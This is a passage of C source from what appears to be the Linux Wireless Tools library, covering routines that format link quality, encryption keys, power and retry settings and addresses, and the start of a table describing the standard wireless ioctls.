explicit IW_QUAL_DBM flag in updated... * The range allow to specify the real min/max of the value. As the * range struct only specify one bound of the value, we assume that * the other bound is 0 (zero). * For relative values, range is [0 ; range->max]. * For absolute values, range is [range->max ; 63]. * * Let's take two example : * 1) value is 75%. qual->value = 75 ; range->max_qual.value = 100 * 2) value is -54dBm. noise floor of the radio is -104dBm. * qual->value = -54 = 202 ; range->max_qual.value = -104 = 152 * * Jean II */ /* Just do it... * The old way to detect dBm require both the range and a non-null * level (which confuse the test). The new way can deal with level of 0 * because it does an explicit test on the flag. */ if(has_range && ((qual->level != 0) || (qual->updated & (IW_QUAL_DBM | IW_QUAL_RCPI)))) { /* Deal with quality : always a relative value */ if(!(qual->updated & IW_QUAL_QUAL_INVALID)) { len = snprintf(buffer, buflen, "Quality%c%d/%d ", qual->updated & IW_QUAL_QUAL_UPDATED ? '=' : ':', qual->qual, range->max_qual.qual); buffer += len; buflen -= len; } /* Check if the statistics are in RCPI (IEEE 802.11k) */ if(qual->updated & IW_QUAL_RCPI) { /* Deal with signal level in RCPI */ /* RCPI = int{(Power in dBm +110)*2} for 0dbm > Power > -110dBm */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { double rcpilevel = (qual->level / 2.0) - 110.0; len = snprintf(buffer, buflen, "Signal level%c%g dBm ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', rcpilevel); buffer += len; buflen -= len; } /* Deal with noise level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { double rcpinoise = (qual->noise / 2.0) - 110.0; len = snprintf(buffer, buflen, "Noise level%c%g dBm", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', rcpinoise); } } else { /* Check if the statistics are in dBm */ if((qual->updated & IW_QUAL_DBM) || (qual->level > range->max_qual.level)) { /* Deal with signal level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { int dblevel = qual->level; /* Implement a range for dBm [-192; 63] */ if(qual->level >= 64) dblevel -= 0x100; len = snprintf(buffer, buflen, "Signal level%c%d dBm ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', dblevel); buffer += len; buflen -= len; } /* Deal with noise level in dBm (absolute power measurement) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { int dbnoise = qual->noise; /* Implement a range for dBm [-192; 63] */ if(qual->noise >= 64) dbnoise -= 0x100; len = snprintf(buffer, buflen, "Noise level%c%d dBm", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', dbnoise); } } else { /* Deal with signal level as relative value (0 -> max) */ if(!(qual->updated & IW_QUAL_LEVEL_INVALID)) { len = snprintf(buffer, buflen, "Signal level%c%d/%d ", qual->updated & IW_QUAL_LEVEL_UPDATED ? '=' : ':', qual->level, range->max_qual.level); buffer += len; buflen -= len; } /* Deal with noise level as relative value (0 -> max) */ if(!(qual->updated & IW_QUAL_NOISE_INVALID)) { len = snprintf(buffer, buflen, "Noise level%c%d/%d", qual->updated & IW_QUAL_NOISE_UPDATED ? '=' : ':', qual->noise, range->max_qual.noise); } } } } else { /* We can't read the range, so we don't know... */ snprintf(buffer, buflen, "Quality:%d Signal level:%d Noise level:%d", qual->qual, qual->level, qual->noise); } } /*********************** ENCODING SUBROUTINES ***********************/ /*------------------------------------------------------------------*/ /* * Output the encoding key, with a nice formating */ void iw_print_key(char * buffer, int buflen, const unsigned char * key, /* Must be unsigned */ int key_size, int key_flags) { int i; /* Check buffer size -> 1 bytes => 2 digits + 1/2 separator */ if((key_size * 3) > buflen) { snprintf(buffer, buflen, ""); return; } /* Is the key present ??? */ if(key_flags & IW_ENCODE_NOKEY) { /* Nope : print on or dummy */ if(key_size <= 0) strcpy(buffer, "on"); /* Size checked */ else { strcpy(buffer, "**"); /* Size checked */ buffer +=2; for(i = 1; i < key_size; i++) { if((i & 0x1) == 0) strcpy(buffer++, "-"); /* Size checked */ strcpy(buffer, "**"); /* Size checked */ buffer +=2; } } } else { /* Yes : print the key */ sprintf(buffer, "%.2X", key[0]); /* Size checked */ buffer +=2; for(i = 1; i < key_size; i++) { if((i & 0x1) == 0) strcpy(buffer++, "-"); /* Size checked */ sprintf(buffer, "%.2X", key[i]); /* Size checked */ buffer +=2; } } } /*------------------------------------------------------------------*/ /* * Convert a passphrase into a key * ### NOT IMPLEMENTED ### * Return size of the key, or 0 (no key) or -1 (error) */ static int iw_pass_key(const char * input, unsigned char * key) { input = input; key = key; fprintf(stderr, "Error: Passphrase not implemented\n"); return(-1); } /*------------------------------------------------------------------*/ /* * Parse a key from the command line. * Return size of the key, or 0 (no key) or -1 (error) * If the key is too long, it's simply truncated... */ int iw_in_key(const char * input, unsigned char * key) { int keylen = 0; /* Check the type of key */ if(!strncmp(input, "s:", 2)) { /* First case : as an ASCII string (Lucent/Agere cards) */ keylen = strlen(input + 2); /* skip "s:" */ if(keylen > IW_ENCODING_TOKEN_MAX) keylen = IW_ENCODING_TOKEN_MAX; memcpy(key, input + 2, keylen); } else if(!strncmp(input, "p:", 2)) { /* Second case : as a passphrase (PrismII cards) */ return(iw_pass_key(input + 2, key)); /* skip "p:" */ } else { const char * p; int dlen; /* Digits sequence length */ unsigned char out[IW_ENCODING_TOKEN_MAX]; /* Third case : as hexadecimal digits */ p = input; dlen = -1; /* Loop until we run out of chars in input or overflow the output */ while(*p != '\0') { int temph; int templ; int count; /* No more chars in this sequence */ if(dlen <= 0) { /* Skip separator */ if(dlen == 0) p++; /* Calculate num of char to next separator */ dlen = strcspn(p, "-:;.,"); } /* Get each char separatly (and not by two) so that we don't * get confused by 'enc' (=> '0E'+'0C') and similar */ count = sscanf(p, "%1X%1X", &temph, &templ); if(count < 1) return(-1); /* Error -> non-hex char */ /* Fixup odd strings such as '123' is '01'+'23' and not '12'+'03'*/ if(dlen % 2) count = 1; /* Put back two chars as one byte and output */ if(count == 2) templ |= temph << 4; else templ = temph; out[keylen++] = (unsigned char) (templ & 0xFF); /* Check overflow in output */ if(keylen >= IW_ENCODING_TOKEN_MAX) break; /* Move on to next chars */ p += count; dlen -= count; } /* We use a temporary output buffer 'out' so that if there is * an error, we don't overwrite the original key buffer. * Because of the way iwconfig loop on multiple key/enc arguments * until it finds an error in here, this is necessary to avoid * silently corrupting the encryption key... */ memcpy(key, out, keylen); } #ifdef DEBUG { char buf[IW_ENCODING_TOKEN_MAX * 3]; iw_print_key(buf, sizeof(buf), key, keylen, 0); printf("Got key : %d [%s]\n", keylen, buf); } #endif return(keylen); } /*------------------------------------------------------------------*/ /* * Parse a key from the command line. * Return size of the key, or 0 (no key) or -1 (error) */ int iw_in_key_full(int skfd, const char * ifname, const char * input, unsigned char * key, __u16 * flags) { int keylen = 0; char * p; if(!strncmp(input, "l:", 2)) { struct iw_range range; /* Extra case : as a login (user:passwd - Cisco LEAP) */ keylen = strlen(input + 2) + 1; /* skip "l:", add '\0' */ /* Most user/password is 8 char, so 18 char total, < 32 */ if(keylen > IW_ENCODING_TOKEN_MAX) keylen = IW_ENCODING_TOKEN_MAX; memcpy(key, input + 2, keylen); /* Separate the two strings */ p = strchr((char *) key, ':'); if(p == NULL) { fprintf(stderr, "Error: Invalid login format\n"); return(-1); } *p = '\0'; /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) /* Hum... Maybe we should return an error ??? */ memset(&range, 0, sizeof(range)); if(range.we_version_compiled > 15) { printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); if((*flags & IW_ENCODE_INDEX) == 0) { /* Extract range info */ if(iw_get_range_info(skfd, ifname, &range) < 0) memset(&range, 0, sizeof(range)); printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); /* Set the index the driver expects */ *flags |= range.encoding_login_index & IW_ENCODE_INDEX; } printf("flags = %X, index = %X\n", *flags, range.encoding_login_index); } } else /* Simpler routine above */ keylen = iw_in_key(input, key); return(keylen); } /******************* POWER MANAGEMENT SUBROUTINES *******************/ /*------------------------------------------------------------------*/ /* * Output a power management value with all attributes... */ void iw_print_pm_value(char * buffer, int buflen, int value, int flags, int we_version) { /* Check size */ if(buflen < 25) { snprintf(buffer, buflen, ""); return; } buflen -= 25; /* Modifiers */ if(flags & IW_POWER_MIN) { strcpy(buffer, " min"); /* Size checked */ buffer += 4; } if(flags & IW_POWER_MAX) { strcpy(buffer, " max"); /* Size checked */ buffer += 4; } /* Type */ if(flags & IW_POWER_TIMEOUT) { strcpy(buffer, " timeout:"); /* Size checked */ buffer += 9; } else { if(flags & IW_POWER_SAVING) { strcpy(buffer, " saving:"); /* Size checked */ buffer += 8; } else { strcpy(buffer, " period:"); /* Size checked */ buffer += 8; } } /* Display value without units */ if(flags & IW_POWER_RELATIVE) { if(we_version < 21) value /= MEGA; snprintf(buffer, buflen, "%d", value); } else { /* Display value with units */ if(value >= (int) MEGA) snprintf(buffer, buflen, "%gs", ((double) value) / MEGA); else if(value >= (int) KILO) snprintf(buffer, buflen, "%gms", ((double) value) / KILO); else snprintf(buffer, buflen, "%dus", value); } } /*------------------------------------------------------------------*/ /* * Output a power management mode */ void iw_print_pm_mode(char * buffer, int buflen, int flags) { /* Check size */ if(buflen < 28) { snprintf(buffer, buflen, ""); return; } /* Print the proper mode... */ switch(flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: strcpy(buffer, "mode:Unicast only received"); /* Size checked */ break; case IW_POWER_MULTICAST_R: strcpy(buffer, "mode:Multicast only received"); /* Size checked */ break; case IW_POWER_ALL_R: strcpy(buffer, "mode:All packets received"); /* Size checked */ break; case IW_POWER_FORCE_S: strcpy(buffer, "mode:Force sending"); /* Size checked */ break; case IW_POWER_REPEATER: strcpy(buffer, "mode:Repeat multicasts"); /* Size checked */ break; default: strcpy(buffer, ""); /* Size checked */ break; } } /***************** RETRY LIMIT/LIFETIME SUBROUTINES *****************/ /*------------------------------------------------------------------*/ /* * Output a retry value with all attributes... */ void iw_print_retry_value(char * buffer, int buflen, int value, int flags, int we_version) { /* Check buffer size */ if(buflen < 20) { snprintf(buffer, buflen, ""); return; } buflen -= 20; /* Modifiers */ if(flags & IW_RETRY_MIN) { strcpy(buffer, " min"); /* Size checked */ buffer += 4; } if(flags & IW_RETRY_MAX) { strcpy(buffer, " max"); /* Size checked */ buffer += 4; } if(flags & IW_RETRY_SHORT) { strcpy(buffer, " short"); /* Size checked */ buffer += 6; } if(flags & IW_RETRY_LONG) { strcpy(buffer, " long"); /* Size checked */ buffer += 6; } /* Type lifetime of limit */ if(flags & IW_RETRY_LIFETIME) { strcpy(buffer, " lifetime:"); /* Size checked */ buffer += 10; /* Display value without units */ if(flags & IW_RETRY_RELATIVE) { if(we_version < 21) value /= MEGA; snprintf(buffer, buflen, "%d", value); } else { /* Display value with units */ if(value >= (int) MEGA) snprintf(buffer, buflen, "%gs", ((double) value) / MEGA); else if(value >= (int) KILO) snprintf(buffer, buflen, "%gms", ((double) value) / KILO); else snprintf(buffer, buflen, "%dus", value); } } else snprintf(buffer, buflen, " limit:%d", value); } /************************* TIME SUBROUTINES *************************/ /*------------------------------------------------------------------*/ /* * Print timestamps * Inspired from irdadump... */ void iw_print_timeval(char * buffer, int buflen, const struct timeval * timev, const struct timezone * tz) { int s; s = (timev->tv_sec - tz->tz_minuteswest * 60) % 86400; snprintf(buffer, buflen, "%02d:%02d:%02d.%06u", s / 3600, (s % 3600) / 60, s % 60, (u_int32_t) timev->tv_usec); } /*********************** ADDRESS SUBROUTINES ************************/ /* * This section is mostly a cut & past from net-tools-1.2.0 * (Well... This has evolved over the years) * manage address display and input... */ /*------------------------------------------------------------------*/ /* * Check if interface support the right MAC address type... */ int iw_check_mac_addr_type(int skfd, const char * ifname) { struct ifreq ifr; /* Get the type of hardware address */ strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGIFHWADDR, &ifr) < 0) || ((ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) && (ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211))) { /* Deep trouble... */ fprintf(stderr, "Interface %s doesn't support MAC addresses\n", ifname); return(-1); } #ifdef DEBUG { char buf[20]; printf("Hardware : %d - %s\n", ifr.ifr_hwaddr.sa_family, iw_saether_ntop(&ifr.ifr_hwaddr, buf)); } #endif return(0); } /*------------------------------------------------------------------*/ /* * Check if interface support the right interface address type... */ int iw_check_if_addr_type(int skfd, const char * ifname) { struct ifreq ifr; /* Get the type of interface address */ strncpy(ifr.ifr_name, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGIFADDR, &ifr) < 0) || (ifr.ifr_addr.sa_family != AF_INET)) { /* Deep trouble... */ fprintf(stderr, "Interface %s doesn't support IP addresses\n", ifname); return(-1); } #ifdef DEBUG printf("Interface : %d - 0x%lX\n", ifr.ifr_addr.sa_family, *((unsigned long *) ifr.ifr_addr.sa_data)); #endif return(0); } #if 0 /*------------------------------------------------------------------*/ /* * Check if interface support the right address types... */ int iw_check_addr_type(int skfd, char * ifname) { /* Check the interface address type */ if(iw_check_if_addr_type(skfd, ifname) < 0) return(-1); /* Check the interface address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) return(-1); return(0); } #endif #if 0 /*------------------------------------------------------------------*/ /* * Ask the kernel for the MAC address of an interface. */ int iw_get_mac_addr(int skfd, const char * ifname, struct ether_addr * eth, unsigned short * ptype) { struct ifreq ifr; int ret; /* Prepare request */ bzero(&ifr, sizeof(struct ifreq)); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); /* Do it */ ret = ioctl(skfd, SIOCGIFHWADDR, &ifr); memcpy(eth->ether_addr_octet, ifr.ifr_hwaddr.sa_data, 6); *ptype = ifr.ifr_hwaddr.sa_family; return(ret); } #endif /*------------------------------------------------------------------*/ /* * Display an arbitrary length MAC address in readable format. */ char * iw_mac_ntop(const unsigned char * mac, int maclen, char * buf, int buflen) { int i; /* Overflow check (don't forget '\0') */ if(buflen < (maclen * 3 - 1 + 1)) return(NULL); /* First byte */ sprintf(buf, "%02X", mac[0]); /* Other bytes */ for(i = 1; i < maclen; i++) sprintf(buf + (i * 3) - 1, ":%02X", mac[i]); return(buf); } /*------------------------------------------------------------------*/ /* * Display an Ethernet address in readable format. */ void iw_ether_ntop(const struct ether_addr * eth, char * buf) { sprintf(buf, "%02X:%02X:%02X:%02X:%02X:%02X", eth->ether_addr_octet[0], eth->ether_addr_octet[1], eth->ether_addr_octet[2], eth->ether_addr_octet[3], eth->ether_addr_octet[4], eth->ether_addr_octet[5]); } /*------------------------------------------------------------------*/ /* * Display an Wireless Access Point Socket Address in readable format. * Note : 0x44 is an accident of history, that's what the Orinoco/PrismII * chipset report, and the driver doesn't filter it. */ char * iw_sawap_ntop(const struct sockaddr * sap, char * buf) { const struct ether_addr ether_zero = {{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }}; const struct ether_addr ether_bcast = {{ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }}; const struct ether_addr ether_hack = {{ 0x44, 0x44, 0x44, 0x44, 0x44, 0x44 }}; const struct ether_addr * ether_wap = (const struct ether_addr *) sap->sa_data; if(!iw_ether_cmp(ether_wap, ðer_zero)) sprintf(buf, "Not-Associated"); else if(!iw_ether_cmp(ether_wap, ðer_bcast)) sprintf(buf, "Invalid"); else if(!iw_ether_cmp(ether_wap, ðer_hack)) sprintf(buf, "None"); else iw_ether_ntop(ether_wap, buf); return(buf); } /*------------------------------------------------------------------*/ /* * Input an arbitrary length MAC address and convert to binary. * Return address size. */ int iw_mac_aton(const char * orig, unsigned char * mac, int macmax) { const char * p = orig; int maclen = 0; /* Loop on all bytes of the string */ while(*p != '\0') { int temph; int templ; int count; /* Extract one byte as two chars */ count = sscanf(p, "%1X%1X", &temph, &templ); if(count != 2) break; /* Error -> non-hex chars */ /* Output two chars as one byte */ templ |= temph << 4; mac[maclen++] = (unsigned char) (templ & 0xFF); /* Check end of string */ p += 2; if(*p == '\0') { #ifdef DEBUG char buf[20]; iw_ether_ntop((const struct ether_addr *) mac, buf); fprintf(stderr, "iw_mac_aton(%s): %s\n", orig, buf); #endif return(maclen); /* Normal exit */ } /* Check overflow */ if(maclen >= macmax) { #ifdef DEBUG fprintf(stderr, "iw_mac_aton(%s): trailing junk!\n", orig); #endif errno = E2BIG; return(0); /* Error -> overflow */ } /* Check separator */ if(*p != ':') break; p++; } /* Error... */ #ifdef DEBUG fprintf(stderr, "iw_mac_aton(%s): invalid ether address!\n", orig); #endif errno = EINVAL; return(0); } /*------------------------------------------------------------------*/ /* * Input an Ethernet address and convert to binary. */ int iw_ether_aton(const char *orig, struct ether_addr *eth) { int maclen; maclen = iw_mac_aton(orig, (unsigned char *) eth, ETH_ALEN); if((maclen > 0) && (maclen < ETH_ALEN)) { errno = EINVAL; maclen = 0; } return(maclen); } /*------------------------------------------------------------------*/ /* * Input an Internet address and convert to binary. */ int iw_in_inet(char *name, struct sockaddr *sap) { struct hostent *hp; struct netent *np; struct sockaddr_in *sain = (struct sockaddr_in *) sap; /* Grmpf. -FvK */ sain->sin_family = AF_INET; sain->sin_port = 0; /* Default is special, meaning 0.0.0.0. */ if (!strcmp(name, "default")) { sain->sin_addr.s_addr = INADDR_ANY; return(1); } /* Try the NETWORKS database to see if this is a known network. */ if ((np = getnetbyname(name)) != (struct netent *)NULL) { sain->sin_addr.s_addr = htonl(np->n_net); strcpy(name, np->n_name); return(1); } /* Always use the resolver (DNS name + IP addresses) */ if ((hp = gethostbyname(name)) == (struct hostent *)NULL) { errno = h_errno; return(-1); } memcpy((char *) &sain->sin_addr, (char *) hp->h_addr_list[0], hp->h_length); strcpy(name, hp->h_name); return(0); } /*------------------------------------------------------------------*/ /* * Input an address and convert to binary. */ int iw_in_addr(int skfd, const char * ifname, char * bufp, struct sockaddr *sap) { /* Check if it is a hardware or IP address */ if(strchr(bufp, ':') == NULL) { struct sockaddr if_address; struct arpreq arp_query; /* Check if we have valid interface address type */ if(iw_check_if_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support IP addresses\n", ifname); return(-1); } /* Read interface address */ if(iw_in_inet(bufp, &if_address) < 0) { fprintf(stderr, "Invalid interface address %s\n", bufp); return(-1); } /* Translate IP addresses to MAC addresses */ memcpy((char *) &(arp_query.arp_pa), (char *) &if_address, sizeof(struct sockaddr)); arp_query.arp_ha.sa_family = 0; arp_query.arp_flags = 0; /* The following restrict the search to the interface only */ /* For old kernels which complain, just comment it... */ strncpy(arp_query.arp_dev, ifname, IFNAMSIZ); if((ioctl(skfd, SIOCGARP, &arp_query) < 0) || !(arp_query.arp_flags & ATF_COM)) { fprintf(stderr, "Arp failed for %s on %s... (%d)\nTry to ping the address before setting it.\n", bufp, ifname, errno); return(-1); } /* Store new MAC address */ memcpy((char *) sap, (char *) &(arp_query.arp_ha), sizeof(struct sockaddr)); #ifdef DEBUG { char buf[20]; printf("IP Address %s => Hw Address = %s\n", bufp, iw_saether_ntop(sap, buf)); } #endif } else /* If it's an hardware address */ { /* Check if we have valid mac address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support MAC addresses\n", ifname); return(-1); } /* Get the hardware address */ if(iw_saether_aton(bufp, sap) == 0) { fprintf(stderr, "Invalid hardware address %s\n", bufp); return(-1); } } #ifdef DEBUG { char buf[20]; printf("Hw Address = %s\n", iw_saether_ntop(sap, buf)); } #endif return(0); } /************************* MISC SUBROUTINES **************************/ /* Size (in bytes) of various events */ static const int priv_type_size[] = { 0, /* IW_PRIV_TYPE_NONE */ 1, /* IW_PRIV_TYPE_BYTE */ 1, /* IW_PRIV_TYPE_CHAR */ 0, /* Not defined */ sizeof(__u32), /* IW_PRIV_TYPE_INT */ sizeof(struct iw_freq), /* IW_PRIV_TYPE_FLOAT */ sizeof(struct sockaddr), /* IW_PRIV_TYPE_ADDR */ 0, /* Not defined */ }; /*------------------------------------------------------------------*/ /* * Max size in bytes of an private argument. */ int iw_get_priv_size(int args) { int num = args & IW_PRIV_SIZE_MASK; int type = (args & IW_PRIV_TYPE_MASK) >> 12; return(num * priv_type_size[type]); } /************************ EVENT SUBROUTINES ************************/ /* * The Wireless Extension API 14 and greater define Wireless Events, * that are used for various events and scanning. * Those functions help the decoding of events, so are needed only in * this case. */ /* -------------------------- CONSTANTS -------------------------- */ /* Type of headers we know about (basically union iwreq_data) */ #define IW_HEADER_TYPE_NULL 0 /* Not available */ #define IW_HEADER_TYPE_CHAR 2 /* char [IFNAMSIZ] */ #define IW_HEADER_TYPE_UINT 4 /* __u32 */ #define IW_HEADER_TYPE_FREQ 5 /* struct iw_freq */ #define IW_HEADER_TYPE_ADDR 6 /* struct sockaddr */ #define IW_HEADER_TYPE_POINT 8 /* struct iw_point */ #define IW_HEADER_TYPE_PARAM 9 /* struct iw_param */ #define IW_HEADER_TYPE_QUAL 10 /* struct iw_quality */ /* Handling flags */ /* Most are not implemented. I just use them as a reminder of some * cool features we might need one day ;-) */ #define IW_DESCR_FLAG_NONE 0x0000 /* Obvious */ /* Wrapper level flags */ #define IW_DESCR_FLAG_DUMP 0x0001 /* Not part of the dump command */ #define IW_DESCR_FLAG_EVENT 0x0002 /* Generate an event on SET */ #define IW_DESCR_FLAG_RESTRICT 0x0004 /* GET : request is ROOT only */ /* SET : Omit payload from generated iwevent */ #define IW_DESCR_FLAG_NOMAX 0x0008 /* GET : no limit on request size */ /* Driver level flags */ #define IW_DESCR_FLAG_WAIT 0x0100 /* Wait for driver event */ /* ---------------------------- TYPES ---------------------------- */ /* * Describe how a standard IOCTL looks like. */ struct iw_ioctl_description { __u8 header_type; /* NULL, iw_point or other */ __u8 token_type; /* Future */ __u16 token_size; /* Granularity of payload */ __u16 min_tokens; /* Min acceptable token number */ __u16 max_tokens; /* Max acceptable token number */ __u32 flags; /* Special handling of the request */ }; /* -------------------------- VARIABLES -------------------------- */ /* * Meta-data about all the standard Wireless Extension request we * know about. */ static const struct iw_ioctl_description standard_ioctl_descr[] = { [SIOCSIWCOMMIT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWNAME - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_CHAR, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWNWID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWNWID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWFREQ - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_FREQ, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWFREQ - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_FREQ, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWMODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_UINT, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWMODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_UINT, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWSENS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWSENS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRANGE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWRANGE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = sizeof(struct iw_range), .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWPRIV - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWPRIV - SIOCIWFIRST] = { /* (handled directly by us) */ .header_type = IW_HEADER_TYPE_NULL, }, [SIOCSIWSTATS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_NULL, }, [SIOCGIWSTATS - SIOCIWFIRST] = { /* (handled directly by us) */ .header_type = IW_HEADER_TYPE_NULL, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr), .max_tokens = IW_MAX_SPY, }, [SIOCGIWSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr) + sizeof(struct iw_quality), .max_tokens = IW_MAX_SPY, }, [SIOCSIWTHRSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct iw_thrspy), .min_tokens = 1, .max_tokens = 1, }, [SIOCGIWTHRSPY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct iw_thrspy), .min_tokens = 1, .max_tokens = 1, }, [SIOCSIWAP - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, }, [SIOCGIWAP - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_ADDR, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWMLME - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_mlme), .max_tokens = sizeof(struct iw_mlme), }, [SIOCGIWAPLIST - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = sizeof(struct sockaddr) + sizeof(struct iw_quality), .max_tokens = IW_MAX_AP, .flags = IW_DESCR_FLAG_NOMAX, }, [SIOCSIWSCAN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = 0, .max_tokens = sizeof(struct iw_scan_req), }, [SIOCGIWSCAN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_SCAN_MAX_DATA, .flags = IW_DESCR_FLAG_NOMAX, }, [SIOCSIWESSID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, .flags = IW_DESCR_FLAG_EVENT, }, [SIOCGIWESSID - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, .flags = IW_DESCR_FLAG_DUMP, }, [SIOCSIWNICKN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, }, [SIOCGIWNICKN - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ESSID_MAX_SIZE + 1, }, [SIOCSIWRATE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRATE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRTS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRTS - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWFRAG - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWFRAG - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWTXPOW - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWTXPOW - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWRETRY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWRETRY - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWENCODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ENCODING_TOKEN_MAX, .flags = IW_DESCR_FLAG_EVENT | IW_DESCR_FLAG_RESTRICT, }, [SIOCGIWENCODE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_ENCODING_TOKEN_MAX, .flags = IW_DESCR_FLAG_DUMP | IW_DESCR_FLAG_RESTRICT, }, [SIOCSIWPOWER - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWPOWER - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWMODUL - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWMODUL - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWGENIE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [SIOCGIWGENIE - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .max_tokens = IW_GENERIC_IE_MAX, }, [SIOCSIWAUTH - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCGIWAUTH - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_PARAM, }, [SIOCSIWENCODEEXT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_encode_ext), .max_tokens = sizeof(struct iw_encode_ext) + IW_ENCODING_TOKEN_MAX, }, [SIOCGIWENCODEEXT - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_encode_ext), .max_tokens = sizeof(struct iw_encode_ext) + IW_ENCODING_TOKEN_MAX, }, [SIOCSIWPMKSA - SIOCIWFIRST] = { .header_type = IW_HEADER_TYPE_POINT, .token_size = 1, .min_tokens = sizeof(struct iw_pmksa), .max_tokens = 